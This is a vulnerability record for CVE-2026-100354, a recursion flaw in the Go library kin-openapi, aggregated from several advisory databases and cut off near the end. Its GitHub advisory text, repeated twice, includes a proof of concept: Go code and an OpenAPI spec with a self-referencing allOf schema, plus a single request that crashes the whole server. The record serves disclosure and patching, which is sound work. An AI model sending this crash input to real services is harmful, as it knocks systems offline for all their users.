{"id":"CVE-2026-100354","aliases":["DEBIAN-CVE-2026-100354","EUVD-2026-102162","GHSA-g8cf-rcjf-c8cf","GO-2026-6785","RHSA-2026:82637","RHSA-2026:85266","UBUNTU-CVE-2026-100354","openSUSE-SU-2026:12309-1"],"status":"published","title":"kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.149.0, runtime request, response, and direct schema validation lacks cycle detection when an allOf, anyOf, or oneOf chain refers back to an ancestor schema, even though loading and document validation accept the circular reference. A request or response that reaches the affected schema causes unbounded recursion in Schema.visitJSON or openapi3filter.decodeValue and exhausts the Go goroutine stack. The resulting fatal stack overflow cannot be caught with recover and terminates the entire process, including unrelated requests. This issue is fixed in version 0.149.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00435,"percentile":0.38263,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-674"],"published":"2026-10-15T16:02:00Z","modified":"2026-11-05T23:26:08Z","fixes":[{"ecosystem":"Go","package":"github.com/getkin/kin-openapi","fixed_in":["0.149.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/getkin/kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.149.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.110.0-1","0.117.0-1","0.118.0-1","0.120.0-1","0.122.0-1","0.122.0-2","0.122.0-3","0.123.0-1","0.124.0-1","0.135.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.124.0-1","0.135.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.124.0-1","0.135.0-1"]},{"source":"osv","ecosystem":"Go","package":"github.com/getkin/kin-openapi","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.149.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/getkin/kin-openapi","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.149.0"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"hugo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.168.0-0.1.hum1"}]}],"bundled":9},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana13.2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.2.3-0.3.hum1"}]}],"bundled":9},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.32.0-2","0.80.0-1","0.85.0-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.117.0-1","0.120.0-1","0.122.0-3","0.123.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.124.0-1","0.135.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.124.0-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"timoni","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.36.0-1.1"}]}],"bundled":14}],"products":[{"vendor":"getkin","product":"kin-openapi"}],"references":[{"url":"https://github.com/getkin/kin-openapi/security/advisories/GHSA-g8cf-rcjf-c8cf","tags":["x_refsource_CONFIRM","exploit","advisory","web","article","report"]},{"url":"https://github.com/getkin/kin-openapi/commit/9245cef66c840e27a08409a8a5cd0ee930c5bcff","tags":["x_refsource_MISC","fix","web","article","report"]},{"url":"https://github.com/getkin/kin-openapi/releases/tag/v0.149.0","tags":["x_refsource_MISC","web","article","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100354","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-g8cf-rcjf-c8cf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/100xxx/CVE-2026-100354.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-100354","tags":["advisory"]},{"url":"https://github.com/getkin/kin-openapi","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:82637","tags":["advisory"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-100352","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-100353","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-100347","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-100348","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-100349","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-100350","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-100351","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-97394","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-100354","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_82637.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2553575","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-97394","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97394","tags":["advisory"]},{"url":"https://github.com/getkin/kin-openapi/commit/30e292371a89ca6d1f91a9553e0aa518b49f838d","tags":["article"]},{"url":"https://github.com/getkin/kin-openapi/releases/tag/v0.143.0","tags":["article"]},{"url":"https://github.com/getkin/kin-openapi/security/advisories/GHSA-p6wj-qrr4-pgh5","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2553580","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-100347","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100347","tags":["advisory"]},{"url":"https://github.com/getkin/kin-openapi/commit/f1a5b523b82868d2d9be2e116b4e942892be72c3","tags":["article"]},{"url":"https://github.com/getkin/kin-openapi/releases/tag/v0.145.0","tags":["article"]},{"url":"https://github.com/getkin/kin-openapi/security/advisories/GHSA-fh4f-47mf-f2gj","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2553571","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-100348","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100348","tags":["advisory"]},{"url":"https://github.com/getkin/kin-openapi/commit/88aa64c7cbd03ecadbb419c473bdcaa8b0124c6b","tags":["article"]},{"url":"https://github.com/getkin/kin-openapi/security/advisories/GHSA-mh7x-f8wq-4jhx","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2553589","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-100349","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100349","tags":["advisory"]},{"url":"https://github.com/getkin/kin-openapi/commit/f5441d67f855ed34d975b3b85665764644ab1459","tags":["article"]},{"url":"https://github.com/getkin/kin-openapi/releases/tag/v0.146.0","tags":["article"]},{"url":"https://github.com/getkin/kin-openapi/security/advisories/GHSA-74vm-87hj-r66f","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2553584","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-100350","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100350","tags":["advisory"]},{"url":"https://github.com/getkin/kin-openapi/commit/d090e36b2f1c42c898ba2a687a8f6e25f5ca727f","tags":["article"]},{"url":"https://github.com/getkin/kin-openapi/security/advisories/GHSA-h4r5-mxv5-8mjc","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2553587","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-100351","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100351","tags":["advisory"]},{"url":"https://github.com/getkin/kin-openapi/commit/eda80e2676e9f577ceed2dd80e64f16083edb041","tags":["article"]},{"url":"https://github.com/getkin/kin-openapi/releases/tag/v0.147.0","tags":["article"]},{"url":"https://github.com/getkin/kin-openapi/security/advisories/GHSA-23vg-4cjm-66q5","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2553588","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-100352","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100352","tags":["advisory"]},{"url":"https://github.com/getkin/kin-openapi/commit/4487f198ab8be0c37d6ca72c54f5dca4dc25270e","tags":["article"]},{"url":"https://github.com/getkin/kin-openapi/releases/tag/v0.148.0","tags":["article"]},{"url":"https://github.com/getkin/kin-openapi/security/advisories/GHSA-rj39-cv6w-8wv7","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2553592","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-100353","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100353","tags":["advisory"]},{"url":"https://github.com/getkin/kin-openapi/commit/9814d1f2b212f3508bf52296aa9e248b2122a5a9","tags":["article"]},{"url":"https://github.com/getkin/kin-openapi/security/advisories/GHSA-vrcc-3ch7-hppw","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2553590","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-100354","tags":["advisory","report"]},{"url":"https://access.redhat.com/errata/RHSA-2026:85266","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-110816","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-93450","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_85266.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2538979","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-93450","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93450","tags":["advisory"]},{"url":"https://github.com/go-openapi/swag","tags":["article"]},{"url":"https://github.com/go-openapi/swag/blob/v0.27.0/jsonutils/adapters/stdlib/json/adapter.go#L68","tags":["article"]},{"url":"https://github.com/go-openapi/swag/blob/v0.27.0/jsonutils/adapters/stdlib/json/ordered_map.go#L214","tags":["article"]},{"url":"https://github.com/go-openapi/swag/commit/0c24346ced59a25811e8694a915e7131d25ccb0e","tags":["article"]},{"url":"https://github.com/go-openapi/swag/security/advisories/GHSA-xh24-9qpg-8w28","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/go-openapi-swag-jsonutils-before-0.27.1-uncontrolled-recursion-in-ordered-json-marshal-and-unmarshal","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2552954","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-110816","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110816","tags":["advisory"]},{"url":"https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727","tags":["article"]},{"url":"https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw","tags":["article"]},{"url":"https://ubuntu.com/security/CVE-2026-100354","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2024-45338","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22872","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-47911","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58190","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-100351","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-100352","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-100353","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-100354","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33186","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78659","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78660","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78663","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78669","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-97032","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-100354","title":"kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.149.0, runtime request, response, and direct schema validation lacks cycle detection when an allOf, anyOf, or oneOf chain refers back to an ancestor schema, even though loading and document validation accept the circular reference. A request or response that reaches the affected schema causes unbounded recursion in Schema.visitJSON or openapi3filter.decodeValue and exhausts the Go goroutine stack. The resulting fatal stack overflow cannot be caught with recover and terminates the entire process, including unrelated requests. This issue is fixed in version 0.149.0.","status":"published","published":"2026-10-15T16:02:00.566Z","modified":"2026-10-15T18:31:51.798Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T14:20:06.925367Z"}],"euvd":[{"id":"EUVD-2026-102162","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.149.0, runtime request, response, and direct schema validation lacks cycle detection when an allOf, anyOf, or oneOf chain refers back to an ancestor schema, even though loading and document validation accept the circular reference. A request or response that reaches the affected schema causes unbounded recursion in Schema.visitJSON or openapi3filter.decodeValue and exhausts the Go goroutine stack. The resulting fatal stack overflow cannot be caught with recover and terminates the entire process, including unrelated requests. This issue is fixed in version 0.149.0.","status":"published","published":"2026-10-15T16:02:00Z","modified":"2026-10-15T18:31:51Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T17:00:10.766559Z"}],"ghsa":[{"id":"GHSA-g8cf-rcjf-c8cf","title":"kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash","description":"## Summary\n\nkin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular `$ref`s on purpose (to support recursive data structures), and `Schema.validate()` uses stack-based cycle detection. `Validate()` therefore accepts a schema whose `allOf` / `anyOf` / `oneOf` chain refers back to itself, returning no error.\n\nThe runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a **fatal stack overflow** (`runtime: goroutine stack exceeds ... limit` / `fatal error: stack overflow`), which is **not** a recoverable panic. `recover()` cannot catch it, so `net/http`'s per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.\n\nTwo independent unguarded recursion sites were confirmed:\n\n1. `openapi3/schema.go` — `visitJSON` / `visitXOFOperations` (reached by `VisitJSON`, i.e. response validation and direct schema validation).\n2. `openapi3filter/req_resp_decoder.go` — `decodeValue` (reached first during request parameter decoding). The report also identifies the same gap in `urlValuesDecoder.parseValue` and `buildResObj`/`buildFromSchemas`.\n\n## Details \n### Root Cause\n\n`Schema.validate()` has cycle detection (`openapi3/schema.go:1396`):\n\n```go\nfunc (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) {\n\tif slices.Contains(stack, schema) {\n\t\treturn stack, nil\n\t}\n\t// ...\n\tstack = append(stack, schema)\n```\n\nThe runtime visitor has none. `visitJSON` (line 1951) calls `visitXOFOperations` (line 2189), which iterates the combinator slice and calls `visitJSON` again on each sub-schema:\n\n```go\nfunc (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) {\n\t// ...\n\tfor idx, item := range v { // v = schema.OneOf / AnyOf / AllOf\n\t\tv := item.Value\n\t\t// no check for item.Value == schema (or any ancestor)\n\t\tif err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle\n```\n\nThe request-decoding path has the same structure in `decodeValue` (`openapi3filter/req_resp_decoder.go:270`):\n\n```go\nfunc decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) {\n\tif len(schema.Value.AllOf) \u003e 0 {\n\t\tfor _, sr := range schema.Value.AllOf {\n\t\t\tvalue, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check\n```\n\n## Proof of Concept\n\n### Environment\n\n- kin-openapi v0.144.0 (tag `v0.144.0`, commit `f0407d5`)\n- Go 1.26.7\n\n### Path A: response / direct schema validation (`VisitJSON`)\n\nA schema whose `allOf` refers to itself. `Validate()` is called first to show the schema is accepted, then `VisitJSON()`:\n\n```go\nrecursiveSchema := \u0026openapi3.Schema{\n\tType:       \u0026openapi3.Types{\"object\"},\n\tProperties: openapi3.Schemas{\"name\": {Value: \u0026openapi3.Schema{Type: \u0026openapi3.Types{\"string\"}}}},\n}\nrecursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular\n\n_ = recursiveSchema.Validate(ctx)                       // accepted, no error\n_ = recursiveSchema.VisitJSON(map[string]any{\"name\": \"test\"}) // crashes\n```\n\nOutput:\n\n```\nValidate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it\nCalling VisitJSON() -- expect fatal stack overflow (unrecoverable)...\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n\ngoroutine 1 [running]:\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)\n\topenapi3/schema.go:1951\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)\n\topenapi3/schema.go:2309\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)\n\topenapi3/schema.go:1981\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)\n\topenapi3/schema.go:2309\n... (repeats until stack overflow)\n```\n\nA `defer recover()` placed around the call did **not** catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable.\n\n### Path B: HTTP request validation against a loaded spec (realistic delivery)\n\nA legal OAS 3.0 spec with a circular `allOf` `$ref`, loaded normally, served behind a standard `net/http` handler using `openapi3filter.ValidateRequest`:\n\n```yaml\nopenapi: '3.0.0'\ninfo: { title: Circular allOf crash PoC, version: '1.0' }\npaths:\n  /test:\n    get:\n      parameters:\n        - name: data\n          in: query\n          schema: { $ref: '#/components/schemas/Recursive' }\n      responses: { '200': { description: OK } }\ncomponents:\n  schemas:\n    Recursive:\n      type: object\n      allOf:\n        - $ref: '#/components/schemas/Recursive'\n      properties:\n        name: { type: string }\n```\n\nA single `GET /test?data=x` crashes the whole server process:\n\n```\nValidate() ACCEPTED the spec with circular allOf $ref\nSending GET /test?data=x through a real net/http server...\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n...\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\topenapi3filter/req_resp_decoder.go:278\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\topenapi3filter/req_resp_decoder.go:278\n... (repeats until stack overflow)\n```\n\nThe line printed after the request (\"the process survived\") was never reached, and the process exited with a non-zero code — the standard `net/http` per-connection `recover()` did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.\n\n### Fix verification\n\nAdding stack-based cycle detection to both sites (matching `validate()`'s pattern) eliminated the crash:\n\n- `visitJSON` guard: `VisitJSON()` returned normally instead of crashing.\n- `decodeValue` guard: the same `GET /test?data=x` returned a clean `400`:\n\n```\nResponse: 400 \"invalid: parameter \\\"data\\\" in query has an error: circular schema reference detected while decoding\"\nIf you see this line, the process survived.\n```\n\n## Impact\n\nAn unrecoverable, whole-process denial of service. Because the crash is a fatal Go runtime error (not a panic), it cannot be contained by `net/http`'s per-request recovery, so **A:H applies to all host types**, unlike a recoverable-panic bug.\n\nAttack surface, in order of exposure:\n\n- **Applications that load OpenAPI specs from untrusted or semi-trusted sources** (API gateways, spec linters/validators, mock servers, documentation generators). An attacker supplies a spec containing a circular combinator, and any subsequent request/response validation crashes the service. This is the primary remote-attacker scenario.\n- **Applications serving a fixed, trusted spec that happens to contain a circular `allOf`/`anyOf`/`oneOf`.** Here any client request to the affected endpoint crashes the process. The spec author does not need malicious intent; a degenerate recursive combinator is enough. This is a latent reliability bug that becomes remotely triggerable once present.","status":"published","published":"2026-10-15T20:20:37Z","modified":"2026-10-15T20:20:38Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T14:41:32.483482Z"}],"nvd":[{"id":"CVE-2026-100354","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.149.0, runtime request, response, and direct schema validation lacks cycle detection when an allOf, anyOf, or oneOf chain refers back to an ancestor schema, even though loading and document validation accept the circular reference. A request or response that reaches the affected schema causes unbounded recursion in Schema.visitJSON or openapi3filter.decodeValue and exhausts the Go goroutine stack. The resulting fatal stack overflow cannot be caught with recover and terminates the entire process, including unrelated requests. This issue is fixed in version 0.149.0.","status":"published","published":"2026-10-15T17:17:07.78Z","modified":"2026-10-15T19:17:12.943Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T14:12:59.751798Z"}],"osv":[{"id":"CVE-2026-100354","title":"kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.149.0, runtime request, response, and direct schema validation lacks cycle detection when an allOf, anyOf, or oneOf chain refers back to an ancestor schema, even though loading and document validation accept the circular reference. A request or response that reaches the affected schema causes unbounded recursion in Schema.visitJSON or openapi3filter.decodeValue and exhausts the Go goroutine stack. The resulting fatal stack overflow cannot be caught with recover and terminates the entire process, including unrelated requests. This issue is fixed in version 0.149.0.","status":"published","published":"2026-10-15T16:02:00.566Z","modified":"2026-11-05T23:26:08.883117792Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-674"],"updated_at":"2026-11-06T00:02:13.631839Z"},{"id":"DEBIAN-CVE-2026-100354","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.149.0, runtime request, response, and direct schema validation lacks cycle detection when an allOf, anyOf, or oneOf chain refers back to an ancestor schema, even though loading and document validation accept the circular reference. A request or response that reaches the affected schema causes unbounded recursion in Schema.visitJSON or openapi3filter.decodeValue and exhausts the Go goroutine stack. The resulting fatal stack overflow cannot be caught with recover and terminates the entire process, including unrelated requests. This issue is fixed in version 0.149.0.","status":"published","published":"2026-10-15T17:17:07.78Z","modified":"2026-10-25T17:00:06.864540317Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:48.440897Z"},{"id":"GHSA-g8cf-rcjf-c8cf","title":"kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash","description":"## Summary\n\nkin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular `$ref`s on purpose (to support recursive data structures), and `Schema.validate()` uses stack-based cycle detection. `Validate()` therefore accepts a schema whose `allOf` / `anyOf` / `oneOf` chain refers back to itself, returning no error.\n\nThe runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a **fatal stack overflow** (`runtime: goroutine stack exceeds ... limit` / `fatal error: stack overflow`), which is **not** a recoverable panic. `recover()` cannot catch it, so `net/http`'s per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.\n\nTwo independent unguarded recursion sites were confirmed:\n\n1. `openapi3/schema.go` — `visitJSON` / `visitXOFOperations` (reached by `VisitJSON`, i.e. response validation and direct schema validation).\n2. `openapi3filter/req_resp_decoder.go` — `decodeValue` (reached first during request parameter decoding). The report also identifies the same gap in `urlValuesDecoder.parseValue` and `buildResObj`/`buildFromSchemas`.\n\n## Details \n### Root Cause\n\n`Schema.validate()` has cycle detection (`openapi3/schema.go:1396`):\n\n```go\nfunc (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) {\n\tif slices.Contains(stack, schema) {\n\t\treturn stack, nil\n\t}\n\t// ...\n\tstack = append(stack, schema)\n```\n\nThe runtime visitor has none. `visitJSON` (line 1951) calls `visitXOFOperations` (line 2189), which iterates the combinator slice and calls `visitJSON` again on each sub-schema:\n\n```go\nfunc (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) {\n\t// ...\n\tfor idx, item := range v { // v = schema.OneOf / AnyOf / AllOf\n\t\tv := item.Value\n\t\t// no check for item.Value == schema (or any ancestor)\n\t\tif err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle\n```\n\nThe request-decoding path has the same structure in `decodeValue` (`openapi3filter/req_resp_decoder.go:270`):\n\n```go\nfunc decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) {\n\tif len(schema.Value.AllOf) \u003e 0 {\n\t\tfor _, sr := range schema.Value.AllOf {\n\t\t\tvalue, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check\n```\n\n## Proof of Concept\n\n### Environment\n\n- kin-openapi v0.144.0 (tag `v0.144.0`, commit `f0407d5`)\n- Go 1.26.7\n\n### Path A: response / direct schema validation (`VisitJSON`)\n\nA schema whose `allOf` refers to itself. `Validate()` is called first to show the schema is accepted, then `VisitJSON()`:\n\n```go\nrecursiveSchema := \u0026openapi3.Schema{\n\tType:       \u0026openapi3.Types{\"object\"},\n\tProperties: openapi3.Schemas{\"name\": {Value: \u0026openapi3.Schema{Type: \u0026openapi3.Types{\"string\"}}}},\n}\nrecursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular\n\n_ = recursiveSchema.Validate(ctx)                       // accepted, no error\n_ = recursiveSchema.VisitJSON(map[string]any{\"name\": \"test\"}) // crashes\n```\n\nOutput:\n\n```\nValidate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it\nCalling VisitJSON() -- expect fatal stack overflow (unrecoverable)...\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n\ngoroutine 1 [running]:\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)\n\topenapi3/schema.go:1951\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)\n\topenapi3/schema.go:2309\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)\n\topenapi3/schema.go:1981\ngithub.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)\n\topenapi3/schema.go:2309\n... (repeats until stack overflow)\n```\n\nA `defer recover()` placed around the call did **not** catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable.\n\n### Path B: HTTP request validation against a loaded spec (realistic delivery)\n\nA legal OAS 3.0 spec with a circular `allOf` `$ref`, loaded normally, served behind a standard `net/http` handler using `openapi3filter.ValidateRequest`:\n\n```yaml\nopenapi: '3.0.0'\ninfo: { title: Circular allOf crash PoC, version: '1.0' }\npaths:\n  /test:\n    get:\n      parameters:\n        - name: data\n          in: query\n          schema: { $ref: '#/components/schemas/Recursive' }\n      responses: { '200': { description: OK } }\ncomponents:\n  schemas:\n    Recursive:\n      type: object\n      allOf:\n        - $ref: '#/components/schemas/Recursive'\n      properties:\n        name: { type: string }\n```\n\nA single `GET /test?data=x` crashes the whole server process:\n\n```\nValidate() ACCEPTED the spec with circular allOf $ref\nSending GET /test?data=x through a real net/http server...\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n...\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\topenapi3filter/req_resp_decoder.go:278\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\topenapi3filter/req_resp_decoder.go:278\n... (repeats until stack overflow)\n```\n\nThe line printed after the request (\"the process survived\") was never reached, and the process exited with a non-zero code — the standard `net/http` per-connection `recover()` did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.\n\n### Fix verification\n\nAdding stack-based cycle detection to both sites (matching `validate()`'s pattern) eliminated the crash:\n\n- `visitJSON` guard: `VisitJSON()` returned normally instead of crashing.\n- 